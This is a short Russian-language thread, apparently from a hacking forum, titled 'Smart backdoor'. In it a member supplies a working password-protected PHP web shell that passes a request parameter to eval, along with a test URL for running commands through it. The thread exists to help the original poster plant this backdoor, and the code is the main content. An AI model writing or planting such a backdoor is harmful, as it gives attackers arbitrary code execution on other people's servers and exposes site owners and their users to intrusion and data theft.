Умный бекдор

Discussion in 'PHP' started by Dreamer333, 20 Feb 2013.

  1. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Решено, спасибо)
     
    #1 Dreamer333, 20 Feb 2013
    Last edited: 20 Feb 2013
  2. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Ну твой вариант по идее и есть "парольная защита". В чем проблема то?
     
  3. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Оно не работает, или я не правильно запуская.
     
  4. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    140
    Reputations:
    4
    код передавать в code пароль в password
    PHP:
    if($_REQUEST['password']=="qwerty")
    {
    eval(
    $_REQUEST['code']); 
    }
    проверить можно так
    index.php?password=qwerty&code=echo "it works";
     
    #4 barnaki, 20 Feb 2013
    Last edited: 20 Feb 2013
  5. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    блин а у меня почему не работало. Спасибо. Тему можно клоуз.